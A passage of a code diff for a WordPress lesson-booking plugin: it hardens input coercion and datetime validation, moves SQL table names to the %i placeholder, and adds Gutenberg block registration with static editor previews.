-		usort( $past, static fn( array $a, array $b ): int => strcmp( (string) ( $b['start_dt'] ?? '' ), (string) ( $a['start_dt'] ?? '' ) ) );
+		usort( $upcoming, static fn( array $a, array $b ): int => strcmp( Val::string( $a['start_dt'] ?? '' ), Val::string( $b['start_dt'] ?? '' ) ) );
+		usort( $past, static fn( array $a, array $b ): int => strcmp( Val::string( $b['start_dt'] ?? '' ), Val::string( $a['start_dt'] ?? '' ) ) );
 
 		return [
-			'upcoming' => array_values( $upcoming ),
-			'past'     => array_values( $past ),
+			'upcoming' => $upcoming,
+			'past'     => $past,
 		];
 	}
 }

src/Availability/AvailabilityController.php

@@ -6,6 +6,7 @@ namespace Unsupervised\Schedular\Availability;
 use Unsupervised\Schedular\Auth\RoleManager;
 use Unsupervised\Schedular\Offering\Offering;
 use Unsupervised\Schedular\Offering\OfferingRepository;
+use Unsupervised\Schedular\Val;
 
 class AvailabilityController {
 
@@ -34,14 +35,14 @@ class AvailabilityController {
 	private function handleFormAction( int $instructorId ): void {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
+		$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
 
 		if ( 'add' === $action ) {
 			$this->addSlot( $instructorId );
 		}
 
 		if ( 'delete' === $action ) {
-			$slotId = absint( $_POST['slot_id'] ?? 0 );
+			$slotId = absint( Val::int( $_POST['slot_id'] ?? 0 ) );
 			if ( $slotId > 0 ) {
 				$slot = $this->repository->findById( $slotId );
 				if ( $slot && $slot->instructorId === $instructorId ) {
@@ -54,15 +55,15 @@ class AvailabilityController {
 
 	private function addSlot( int $instructorId ): void {
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$startDt = sanitize_text_field( wp_unslash( $_POST['start_dt'] ?? '' ) );
-		$endDt   = sanitize_text_field( wp_unslash( $_POST['end_dt'] ?? '' ) );
+		$startDt = AvailabilitySlot::normalizeDateTime( sanitize_text_field( Val::string( wp_unslash( $_POST['start_dt'] ?? '' ) ) ) );
+		$endDt   = AvailabilitySlot::normalizeDateTime( sanitize_text_field( Val::string( wp_unslash( $_POST['end_dt'] ?? '' ) ) ) );
 
-		if ( '' === $startDt || '' === $endDt ) {
+		if ( null === $startDt || null === $endDt || $endDt <= $startDt ) {
 			return;
 		}
 
-		$offeringId = absint( $_POST['offering_id'] ?? 0 );
-		$duration   = absint( $_POST['duration_minutes'] ?? 0 );
+		$offeringId = absint( Val::int( $_POST['offering_id'] ?? 0 ) );
+		$duration   = absint( Val::int( $_POST['duration_minutes'] ?? 0 ) );
 
 		$slot = new AvailabilitySlot(
 			instructorId:    $instructorId,
@@ -72,8 +73,8 @@ class AvailabilityController {
 			offeringId:      $offeringId > 0 ? $offeringId : null,
 		);
 
-		if ( 'weekly' === sanitize_key( wp_unslash( $_POST['recurrence'] ?? 'single' ) ) ) {
-			$this->repository->createWeeklySeries( $slot, absint( $_POST['weeks'] ?? 1 ) );
+		if ( 'weekly' === sanitize_key( Val::string( wp_unslash( $_POST['recurrence'] ?? 'single' ) ) ) ) {
+			$this->repository->createWeeklySeries( $slot, absint( Val::int( $_POST['weeks'] ?? 1 ) ) );
 			return;
 		}
 

src/Availability/AvailabilityEndpoint.php

@@ -5,6 +5,7 @@ namespace Unsupervised\Schedular\Availability;
 
 use Unsupervised\Schedular\Auth\RoleManager;
 use Unsupervised\Schedular\Offering\OfferingRepository;
+use Unsupervised\Schedular\Val;
 
 class AvailabilityEndpoint {
 
@@ -13,6 +14,11 @@ class AvailabilityEndpoint {
 		private OfferingRepository $offerings,
 	) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -96,11 +102,11 @@ class AvailabilityEndpoint {
 
 	public function index( \WP_REST_Request $request ): \WP_REST_Response {
 		$slots = $this->repository->findAvailable(
-			(int) $request->get_param( 'instructor_id' ),
-			(int) $request->get_param( 'offering_id' ),
-			(int) $request->get_param( 'duration_minutes' ),
-			(string) $request->get_param( 'from' ),
-			(string) $request->get_param( 'to' ),
+			Val::int( $request->get_param( 'instructor_id' ) ),
+			Val::int( $request->get_param( 'offering_id' ) ),
+			Val::int( $request->get_param( 'duration_minutes' ) ),
+			Val::string( $request->get_param( 'from' ) ),
+			Val::string( $request->get_param( 'to' ) ),
 		);
 
 		return new \WP_REST_Response( array_map( fn( AvailabilitySlot $s ) => $s->toArray(), $slots ), 200 );
@@ -108,8 +114,8 @@ class AvailabilityEndpoint {
 
 	public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
 		$instructorId = get_current_user_id();
-		$offeringId   = absint( $request->get_param( 'offering_id' ) );
-		$duration     = absint( $request->get_param( 'duration_minutes' ) );
+		$offeringId   = absint( Val::int( $request->get_param( 'offering_id' ) ) );
+		$duration     = absint( Val::int( $request->get_param( 'duration_minutes' ) ) );
 
 		// A slot may only be tied to an offering the instructor owns, so it can
 		// never inherit another instructor's price or payment routing at booking.
@@ -120,16 +126,23 @@ class AvailabilityEndpoint {
 			}
 		}
 
+		$startDt = AvailabilitySlot::normalizeDateTime( Val::string( $request->get_param( 'start_dt' ) ) );
+		$endDt   = AvailabilitySlot::normalizeDateTime( Val::string( $request->get_param( 'end_dt' ) ) );
+
+		if ( null === $startDt || null === $endDt || $endDt <= $startDt ) {
+			return new \WP_Error( 'invalid_datetime', __( 'Provide a valid start and end, with the end after the start.', 'unsupervised-schedular' ), [ 'status' => 400 ] );
+		}
+
 		$slot = new AvailabilitySlot(
 			instructorId:    $instructorId,
-			startDt:         (string) $request->get_param( 'start_dt' ),
-			endDt:           (string) $request->get_param( 'end_dt' ),
+			startDt:         $startDt,
+			endDt:           $endDt,
 			durationMinutes: $duration > 0 ? $duration : 60,
 			offeringId:      $offeringId > 0 ? $offeringId : null,
 		);
 
 		if ( 'weekly' === $request->get_param( 'recurrence' ) ) {
-			$ids = $this->repository->createWeeklySeries( $slot, absint( $request->get_param( 'weeks' ) ) );
+			$ids = $this->repository->createWeeklySeries( $slot, absint( Val::int( $request->get_param( 'weeks' ) ) ) );
 
 			return new \WP_REST_Response( [ 'ids' => $ids ], 201 );
 		}
@@ -140,7 +153,7 @@ class AvailabilityEndpoint {
 	}
 
 	public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id   = absint( $request->get_param( 'id' ) );
+		$id   = absint( Val::int( $request->get_param( 'id' ) ) );
 		$slot = $this->repository->findById( $id );
 
 		if ( null === $slot ) {

src/Availability/AvailabilityRepository.php

@@ -116,11 +116,11 @@ class AvailabilityRepository {
 		}
 
 		$whereClause = implode( ' AND ', $where );
-		$sql         = "SELECT * FROM {$this->table} WHERE {$whereClause} ORDER BY start_dt ASC";
+		$sql         = "SELECT * FROM %i WHERE {$whereClause} ORDER BY start_dt ASC";
 
-		$rows = $params
-			? $this->db->get_results( $this->db->prepare( $sql, $params ) )
-			: $this->db->get_results( $sql );
+		$rows = $this->db->get_results(
+			$this->db->prepare( $sql, array_merge( [ $this->table ], $params ) )
+		);
 
 		return array_map( AvailabilitySlot::fromRow( ... ), $rows ?? [] );
 	}
@@ -133,7 +133,8 @@ class AvailabilityRepository {
 	public function findByInstructor( int $instructorId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE instructor_id = %d ORDER BY start_dt ASC",
+				'SELECT * FROM %i WHERE instructor_id = %d ORDER BY start_dt ASC',
+				$this->table,
 				$instructorId
 			)
 		);
@@ -149,7 +150,8 @@ class AvailabilityRepository {
 	public function findUnbookedInGroup( int $recurrenceGroup ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE recurrence_group = %d AND is_booked = 0 ORDER BY start_dt ASC",
+				'SELECT * FROM %i WHERE recurrence_group = %d AND is_booked = 0 ORDER BY start_dt ASC',
+				$this->table,
 				$recurrenceGroup
 			)
 		);
@@ -159,7 +161,7 @@ class AvailabilityRepository {
 
 	public function findById( int $id ): ?AvailabilitySlot {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? AvailabilitySlot::fromRow( $row ) : null;

src/Availability/AvailabilitySlot.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Availability;
 
+use Unsupervised\Schedular\Val;
+
 class AvailabilitySlot {
 
 	public function __construct(
@@ -16,16 +18,35 @@ class AvailabilitySlot {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	/**
+	 * Normalise a submitted slot datetime to canonical `Y-m-d H:i:s`, or null when
+	 * it is not a real datetime. Accepts the HTML `datetime-local` form
+	 * (`Y-m-d\TH:i`, optionally with seconds) and the canonical form (optionally
+	 * without seconds). Anything else — including strings PHP would "helpfully"
+	 * coerce — is rejected so garbage never reaches the DATETIME column or throws
+	 * inside the weekly-series date arithmetic.
+	 */
+	public static function normalizeDateTime( string $value ): ?string {
+		foreach ( [ 'Y-m-d H:i:s', 'Y-m-d H:i', 'Y-m-d\TH:i:s', 'Y-m-d\TH:i' ] as $format ) {
+			$dt = \DateTimeImmutable::createFromFormat( '!' . $format, $value );
+			if ( false !== $dt && $dt->format( $format ) === $value ) {
+				return $dt->format( 'Y-m-d H:i:s' );
+			}
+		}
+
+		return null;
+	}
+
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			instructorId:    (int) $row->instructor_id,
-			startDt:         $row->start_dt,
-			endDt:           $row->end_dt,
-			durationMinutes: (int) $row->duration_minutes,
-			offeringId:      null !== $row->offering_id ? (int) $row->offering_id : null,
-			isBooked:        (bool) $row->is_booked,
-			recurrenceGroup: null !== $row->recurrence_group ? (int) $row->recurrence_group : null,
-			id:              (int) $row->id,
+			instructorId:    Val::int( $row->instructor_id ),
+			startDt:         Val::string( $row->start_dt ),
+			endDt:           Val::string( $row->end_dt ),
+			durationMinutes: Val::int( $row->duration_minutes ),
+			offeringId:      Val::intOrNull( $row->offering_id ),
+			isBooked:        Val::bool( $row->is_booked ),
+			recurrenceGroup: Val::intOrNull( $row->recurrence_group ),
+			id:              Val::int( $row->id ),
 		);
 	}
 

src/BlockPreview.php

@@ -0,0 +1,114 @@
+<?php
+declare(strict_types=1);
+
+namespace Unsupervised\Schedular;
+
+/**
+ * Static, script-free markup for the editor previews of the front-end blocks.
+ *
+ * The booking and group-class pages are populated by JavaScript on the live
+ * site, and the registration page requires a valid invite token — none of
+ * which exist inside the block editor. These previews reproduce the same
+ * wrapper elements and CSS classes the live pages use, filled with
+ * representative placeholder content, so themes can be styled against
+ * realistic markup without firing REST calls, redirects, or Stripe.js.
+ */
+class BlockPreview {
+
+	public static function booking(): string {
+		$days = [
+			[
+				'label' => __( 'Monday', 'unsupervised-schedular' ),
+				'slots' => [
+					[ '16:00–16:30', 30 ],
+					[ '16:30–17:00', 30 ],
+				],
+			],
+			[
+				'label' => __( 'Wednesday', 'unsupervised-schedular' ),
+				'slots' => [
+					[ '17:00–17:45', 45 ],
+				],
+			],
+		];
+
+		$dayHtml = '';
+		foreach ( $days as $day ) {
+			$slotHtml = '';
+			foreach ( $day['slots'] as $slot ) {
+				$slotHtml .= sprintf(
+					'<div class="us-slot"><span>%s (%d min)</span><button type="button" class="us-book-btn" disabled>%s</button></div>',
+					esc_html( $slot[0] ),
+					(int) $slot[1],
+					esc_html__( 'Book', 'unsupervised-schedular' )
+				);
+			}
+
+			$dayHtml .= sprintf(
+				'<div class="us-day"><h3 class="us-day-heading">%s</h3>%s</div>',
+				esc_html( $day['label'] ),
+				$slotHtml
+			);
+		}
+
+		return sprintf(
+			'<div id="us-booking-app">%s<div id="us-slot-list">%s</div></div>',
+			self::note( __( 'Editor preview — students see live availability on the published page.', 'unsupervised-schedular' ) ),
+			$dayHtml
+		);
+	}
+
+	public static function groupClasses(): string {
+		return sprintf(
+			'<div id="us-group-app">%s<div id="us-group-list"><div class="us-class"><h3>%s</h3><p>%s</p><p>%s</p><p>25.00 CAD</p><button type="button" class="us-enrol-btn" disabled>%s</button></div></div></div>',
+			self::note( __( 'Editor preview — students see live group classes on the published page.', 'unsupervised-schedular' ) ),
+			esc_html__( 'Beginner Group Class', 'unsupervised-schedular' ),
+			esc_html__( 'Saturdays 10:00–11:00', 'unsupervised-schedular' ),
+			esc_html__( 'A sample class shown so the page can be styled.', 'unsupervised-schedular' ),
+			esc_html__( 'Enrol', 'unsupervised-schedular' )
+		);
+	}
+
+	/**
+	 * The live login form renders fine without any request state, so the
+	 * preview includes the real template (the editing user is logged in, which
+	 * would otherwise short-circuit to an "already logged in" message).
+	 */
+	public static function login(): string {
+		$error = '';
+
+		ob_start();
+		include USC_PLUGIN_DIR . 'templates/frontend/login-page.php';
+
+		return self::note( __( 'Editor preview — logged-in visitors are offered a link to the booking page instead.', 'unsupervised-schedular' ) ) . (string) ob_get_clean();
+	}
+
+	public static function registration(): string {
+		$fields  = sprintf(
+			'<p><label for="us-reg-email">%s</label><input type="email" id="us-reg-email" value="student@example.com" readonly></p>',
+			esc_html__( 'Email', 'unsupervised-schedular' )
+		);
+		$fields .= sprintf(
+			'<p><label for="us-reg-name">%s</label><input type="text" id="us-reg-name"></p>',
+			esc_html__( 'Your name', 'unsupervised-schedular' )
+		);
+		$fields .= sprintf(
+			'<p><label for="us-reg-pass">%s</label><input type="password" id="us-reg-pass"></p>',
+			esc_html__( 'Password', 'unsupervised-schedular' )
+		);
+		$fields .= sprintf(
+			'<p><input type="submit" value="%s" disabled></p>',
+			esc_attr__( 'Create Account', 'unsupervised-schedular' )
+		);
+
+		return sprintf(
+			'<div class="us-register-form">%s<form>%s</form></div>',
+			self::note( __( 'Editor preview — the live form requires a valid invite link and lists signup policies.', 'unsupervised-schedular' ) ),
+			$fields
+		);
+	}
+
+	private static function note( string $text ): string {
+		return '<p class="us-editor-note">' . esc_html( $text ) . '</p>';
+	}
+}

src/BlockRegistrar.php

@@ -0,0 +1,126 @@
+<?php
+declare(strict_types=1);
+
+namespace Unsupervised\Schedular;
+
+use Unsupervised\Schedular\Auth\LoginPage;
+use Unsupervised\Schedular\Auth\RegistrationPage;
+use Unsupervised\Schedular\Booking\BookingPage;
+use Unsupervised\Schedular\GroupClass\GroupClassPage;
+
+/**
+ * Registers Gutenberg dynamic-block wrappers for the front-end shortcodes so
+ * the pages can be previewed and styled inside the block editor.
+ *
+ * On the front end each block delegates to the same page object its shortcode
+ * uses, so output is identical either way. Inside the editor (the
+ * block-renderer REST preview used by wp.serverSideRender) a static preview
+ * from BlockPreview is rendered instead — same markup and CSS classes, no
+ * live REST calls, redirects, or Stripe.js.
+ */
+class BlockRegistrar {
+
+	public const SCRIPT_HANDLE = 'us-scheduler-blocks';
+	public const STYLE_HANDLE  = 'us-scheduler';
+
+	public function __construct(
+		private BookingPage $bookingPage,
+		private LoginPage $loginPage,
+		private RegistrationPage $registrationPage,
+		private GroupClassPage $groupClassPage,
+	) {}
+
+	public function register(): void {
+		add_action( 'init', [ $this, 'registerBlocks' ] );
+	}
+
+	public function registerBlocks(): void {
+		// The editor script registers the client side of each block (title,
+		// icon, shortcode transform) and previews it via wp.serverSideRender.
+		wp_register_script(
+			self::SCRIPT_HANDLE,
+			USC_PLUGIN_URL . 'assets/js/blocks.js',
+			[ 'wp-blocks', 'wp-element', 'wp-block-editor', 'wp-server-side-render', 'wp-i18n' ],
+			USC_VERSION,
+			true
+		);
+
+		// The front-end stylesheet doubles as the block style so editor
+		// previews look like the published page. ShortcodeRegistrar registers
+		// the same handle on the front end, hence the guard.
+		if ( ! wp_style_is( self::STYLE_HANDLE, 'registered' ) ) {
+			wp_register_style( self::STYLE_HANDLE, USC_PLUGIN_URL . 'assets/css/frontend.css', [], USC_VERSION );
+		}
+
+		foreach ( $this->blocks() as $name => $renderCallback ) {
+			register_block_type(
+				$name,
+				[
+					'api_version'     => '3',
+					'editor_script'   => self::SCRIPT_HANDLE,
+					'style'           => self::STYLE_HANDLE,
+					'render_callback' => $renderCallback,
+				]
+			);
+		}
+	}
+
+	/**
+	 * Block names mapped to their render callbacks.
+	 *
+	 * @return array<string, callable(array<string, mixed>): string>
+	 */
+	private function blocks(): array {
+		return [
+			'us-scheduler/booking'          => [ $this, 'renderBooking' ],
+			'us-scheduler/student-login'    => [ $this, 'renderLogin' ],
+			'us-scheduler/student-register' => [ $this, 'renderRegistration' ],
+			'us-scheduler/group-classes'    => [ $this, 'renderGroupClasses' ],
+		];
+	}
+
+	/**
+	 * Renders the booking block.
+	 *
+	 * @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
+	 */
+	public function renderBooking( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
+		return $this->isEditorPreview() ? BlockPreview::booking() : $this->bookingPage->render( [] );
+	}
+
+	/**
+	 * Renders the student-login block.
+	 *
+	 * @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
+	 */
+	public function renderLogin( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
+		return $this->isEditorPreview() ? BlockPreview::login() : $this->loginPage->render( [] );
+	}
+
+	/**
+	 * Renders the student-registration block.
+	 *
+	 * @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
+	 */
+	public function renderRegistration( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
+		return $this->isEditorPreview() ? BlockPreview::registration() : $this->registrationPage->render( [] );
+	}
+
+	/**
+	 * Renders the group-classes block.
+	 *
+	 * @param array<string, mixed> $attributes Block attributes (unused — the blocks have none yet).
+	 */
+	public function renderGroupClasses( array $attributes = [] ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
+		return $this->isEditorPreview() ? BlockPreview::groupClasses() : $this->groupClassPage->render( [] );
+	}
+
+	/**
+	 * Whether this render is the editor's block-renderer REST preview rather
+	 * than a real front-end page render. Front-end template rendering never
+	 * happens inside a REST request, so REST_REQUEST is a reliable signal.
+	 */
+	protected function isEditorPreview(): bool {
+		return defined( 'REST_REQUEST' ) && (bool) constant( 'REST_REQUEST' );
+	}
+}

src/Booking/BookingEndpoint.php

@@ -10,6 +10,7 @@ use Unsupervised\Schedular\Payment\Payment;
 use Unsupervised\Schedular\Payment\PaymentService;
 use Unsupervised\Schedular\Policy\PolicyAcceptance;
 use Unsupervised\Schedular\Registration\RegistrationGate;
+use Unsupervised\Schedular\Val;
 
 class BookingEndpoint {
 
@@ -27,6 +28,11 @@ class BookingEndpoint {
 		private PaymentService $payments,
 	) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -103,7 +109,7 @@ class BookingEndpoint {
 	}
 
 	public function book( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$slotId = (int) $request->get_param( 'slot_id' );
+		$slotId = Val::int( $request->get_param( 'slot_id' ) );
 		$slot   = $this->availability->findById( $slotId );
 
 		if ( null === $slot ) {
@@ -120,7 +126,7 @@ class BookingEndpoint {
 		// used must belong to the slot's instructor. This prevents substituting a
 		// cheaper/free offering to dodge payment, or another instructor's offering
 		// to misroute it.
-		$requestedOfferingId = absint( $request->get_param( 'offering_id' ) );
+		$requestedOfferingId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
 		$slotOfferingId      = (int) ( $slot->offeringId ?? 0 );
 
 		if ( $slotOfferingId > 0 ) {
@@ -142,7 +148,7 @@ class BookingEndpoint {
 		}
 
 		$answers            = $this->answers( $request );
-		$acceptedVersionIds = array_map( 'absint', (array) $request->get_param( 'accepted_policy_version_ids' ) );
+		$acceptedVersionIds = array_values( array_map( static fn( mixed $v ): int => absint( Val::int( $v ) ), (array) $request->get_param( 'accepted_policy_version_ids' ) ) );
 
 		$gateError = $this->gate->validate( $offeringId, $answers, $acceptedVersionIds );
 		if ( $gateError instanceof \WP_Error ) {
@@ -150,7 +156,7 @@ class BookingEndpoint {
 		}
 
 		$studentId  = get_current_user_id();
-		$notes      = (string) $request->get_param( 'notes' );
+		$notes      = Val::string( $request->get_param( 'notes' ) );
 		$recurrence = Lesson::RECURRENCE_WEEKLY === $request->get_param( 'recurrence' )
 			? Lesson::RECURRENCE_WEEKLY
 			: Lesson::RECURRENCE_SINGLE;
@@ -212,7 +218,7 @@ class BookingEndpoint {
 	private function answers( \WP_REST_Request $request ): array {
 		$out = [];
 		foreach ( (array) $request->get_param( 'answers' ) as $questionId => $value ) {
-			$out[ (int) $questionId ] = sanitize_text_field( (string) $value );
+			$out[ (int) $questionId ] = sanitize_text_field( Val::string( $value ) );
 		}
 
 		return $out;
@@ -220,13 +226,13 @@ class BookingEndpoint {
 
 	private function clientIp(): ?string {
 		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP stored verbatim for audit.
-		$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) );
+		$ip = sanitize_text_field( Val::string( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) ) );
 
 		return '' !== $ip ? $ip : null;
 	}
 
 	public function updateStatus( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id     = absint( $request->get_param( 'id' ) );
+		$id     = absint( Val::int( $request->get_param( 'id' ) ) );
 		$lesson = $this->bookings->findById( $id );
 
 		if ( null === $lesson ) {
@@ -237,7 +243,7 @@ class BookingEndpoint {
 			return new \WP_Error( 'forbidden', __( 'You cannot update this booking.', 'unsupervised-schedular' ), [ 'status' => 403 ] );
 		}
 
-		$this->bookings->updateStatus( $id, (string) $request->get_param( 'status' ) );
+		$this->bookings->updateStatus( $id, Val::string( $request->get_param( 'status' ) ) );
 
 		return new \WP_REST_Response(
 			[

src/Booking/BookingPage.php

@@ -10,14 +10,16 @@ class BookingPage {
 	/**
 	 * Renders the booking shortcode output.
 	 *
-	 * @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
+	 * @param array<string> $atts Shortcode attributes (unused — reserved for future options).
 	 */
 	public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
 		if ( ! is_user_logged_in() ) {
+			$permalink = get_permalink();
+
 			return sprintf(
 				'<p>%s <a href="%s">%s</a>.</p>',
 				esc_html__( 'Please', 'unsupervised-schedular' ),
-				esc_url( wp_login_url( get_permalink() ) ),
+				esc_url( wp_login_url( false === $permalink ? '' : $permalink ) ),
 				esc_html__( 'log in to book a lesson', 'unsupervised-schedular' )
 			);
 		}

src/Booking/BookingRepository.php

@@ -80,7 +80,7 @@ class BookingRepository {
 
 	public function findById( int $id ): ?Lesson {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Lesson::fromRow( $row ) : null;
@@ -96,12 +96,14 @@ class BookingRepository {
 
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT l.* FROM {$this->table} l
-                 JOIN {$avTable} a ON a.id = l.slot_id
+				'SELECT l.* FROM %i l
+                 JOIN %i a ON a.id = l.slot_id
                  WHERE l.instructor_id = %d
                    AND l.status != %s
                    AND a.start_dt >= %s
-                 ORDER BY a.start_dt ASC",
+                 ORDER BY a.start_dt ASC',
+				$this->table,
+				$avTable,
 				$instructorId,
 				Lesson::STATUS_CANCELLED,
 				current_time( 'mysql' )
@@ -119,11 +121,13 @@ class BookingRepository {
 
 		return (int) $this->db->get_var(
 			$this->db->prepare(
-				"SELECT COUNT(*) FROM {$this->table} l
-                 JOIN {$avTable} a ON a.id = l.slot_id
+				'SELECT COUNT(*) FROM %i l
+                 JOIN %i a ON a.id = l.slot_id
                  WHERE l.student_id = %d
                    AND l.status != %s
-                   AND a.start_dt >= %s",
+                   AND a.start_dt >= %s',
+				$this->table,
+				$avTable,
 				$studentId,
 				Lesson::STATUS_CANCELLED,
 				current_time( 'mysql' )
@@ -139,7 +143,8 @@ class BookingRepository {
 	public function findByStudent( int $studentId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE student_id = %d ORDER BY created_at DESC",
+				'SELECT * FROM %i WHERE student_id = %d ORDER BY created_at DESC',
+				$this->table,
 				$studentId
 			)
 		);
@@ -157,11 +162,13 @@ class BookingRepository {
 
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT l.* FROM {$this->table} l
-                 JOIN {$avTable} a ON a.id = l.slot_id
+				'SELECT l.* FROM %i l
+                 JOIN %i a ON a.id = l.slot_id
                  WHERE l.status != %s
                    AND a.start_dt >= %s
-                 ORDER BY a.start_dt ASC",
+                 ORDER BY a.start_dt ASC',
+				$this->table,
+				$avTable,
 				Lesson::STATUS_CANCELLED,
 				current_time( 'mysql' )
 			)

src/Booking/Lesson.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Booking;
 
+use Unsupervised\Schedular\Val;
+
 class Lesson {
 
 	public const STATUS_PENDING   = 'pending';
@@ -39,18 +41,18 @@ class Lesson {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			slotId:       (int) $row->slot_id,
-			studentId:    (int) $row->student_id,
-			instructorId: (int) $row->instructor_id,
-			offeringId:   null !== $row->offering_id ? (int) $row->offering_id : null,
-			recurrence:   $row->recurrence,
-			seriesId:     null !== $row->series_id ? (int) $row->series_id : null,
-			status:       $row->status,
-			paymentId:    null !== $row->payment_id ? (int) $row->payment_id : null,
-			notes:        $row->notes,
-			id:           (int) $row->id,
+			slotId:       Val::int( $row->slot_id ),
+			studentId:    Val::int( $row->student_id ),
+			instructorId: Val::int( $row->instructor_id ),
+			offeringId:   Val::intOrNull( $row->offering_id ),
+			recurrence:   Val::string( $row->recurrence ),
+			seriesId:     Val::intOrNull( $row->series_id ),
+			status:       Val::string( $row->status ),
+			paymentId:    Val::intOrNull( $row->payment_id ),
+			notes:        Val::stringOrNull( $row->notes ),
+			id:           Val::int( $row->id ),
 		);
 	}
 

src/Booking/LessonController.php

@@ -6,6 +6,7 @@ namespace Unsupervised\Schedular\Booking;
 use Unsupervised\Schedular\Auth\RoleManager;
 use Unsupervised\Schedular\Payment\Payment;
 use Unsupervised\Schedular\Payment\PaymentRepository;
+use Unsupervised\Schedular\Val;
 
 class LessonController {
 
@@ -48,10 +49,11 @@ class LessonController {
 		}
 
 		// phpcs:disable WordPress.Security.NonceVerification.Missing -- nonce checked above.
-		$action    = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
-		$paymentId = absint( $_POST['payment_id'] ?? 0 );
-		$email     = sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) );
-		$taxRate   = isset( $_POST['tax_rate'] ) ? max( 0.0, (float) $_POST['tax_rate'] ) : 0.0;
+		$action    = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ) ) );
+		$paymentId = absint( Val::int( $_POST['payment_id'] ?? 0 ) );
+		$email     = sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) );
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Val::float() coerces to float; slashes cannot survive numeric coercion.
+		$taxRate = isset( $_POST['tax_rate'] ) ? max( 0.0, Val::float( $_POST['tax_rate'] ) ) : 0.0;
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
 
 		if ( $paymentId <= 0 || ! in_array( $action, [ 'set_etransfer', 'set_tax' ], true ) ) {

src/GroupClass/Enrollment.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\GroupClass;
 
+use Unsupervised\Schedular\Val;
+
 class Enrollment {
 
 	public const STATUS_ACTIVE    = 'active';
@@ -25,14 +27,14 @@ class Enrollment {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			offeringId:   (int) $row->offering_id,
-			studentId:    (int) $row->student_id,
-			instructorId: (int) $row->instructor_id,
-			status:       $row->status,
-			paymentId:    null !== $row->payment_id ? (int) $row->payment_id : null,
-			id:           (int) $row->id,
+			offeringId:   Val::int( $row->offering_id ),
+			studentId:    Val::int( $row->student_id ),
+			instructorId: Val::int( $row->instructor_id ),
+			status:       Val::string( $row->status ),
+			paymentId:    Val::intOrNull( $row->payment_id ),
+			id:           Val::int( $row->id ),
 		);
 	}
 

src/GroupClass/EnrollmentEndpoint.php

@@ -10,6 +10,7 @@ use Unsupervised\Schedular\Payment\Payment;
 use Unsupervised\Schedular\Payment\PaymentService;
 use Unsupervised\Schedular\Policy\PolicyAcceptance;
 use Unsupervised\Schedular\Registration\RegistrationGate;
+use Unsupervised\Schedular\Val;
 
 class EnrollmentEndpoint {
 
@@ -20,6 +21,11 @@ class EnrollmentEndpoint {
 		private PaymentService $payments,
 	) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
